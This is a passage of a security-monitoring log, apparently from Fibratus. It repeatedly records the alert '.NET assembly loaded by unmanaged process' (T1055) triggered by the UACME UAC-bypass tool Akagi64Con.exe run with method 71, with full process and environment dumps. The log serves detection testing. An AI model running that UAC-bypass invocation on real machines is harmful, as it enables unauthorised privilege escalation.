1667837 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6303175 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe, image_size➜ 196608, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667894 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6316597 +0100 CET + Params: base_address➜ 7ffb9a7c0000, checksum➜ 0, default_address➜ 7ffb9a7c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe, image_size➜ 40960, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667894 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6316597 +0100 CET + Params: base_address➜ 7ffb9a7c0000, checksum➜ 0, default_address➜ 7ffb9a7c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InteractiveHost64\de06d7edae2c0e0a9bf8a07625b96ccb\InteractiveHost64.ni.exe, image_size➜ 40960, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program 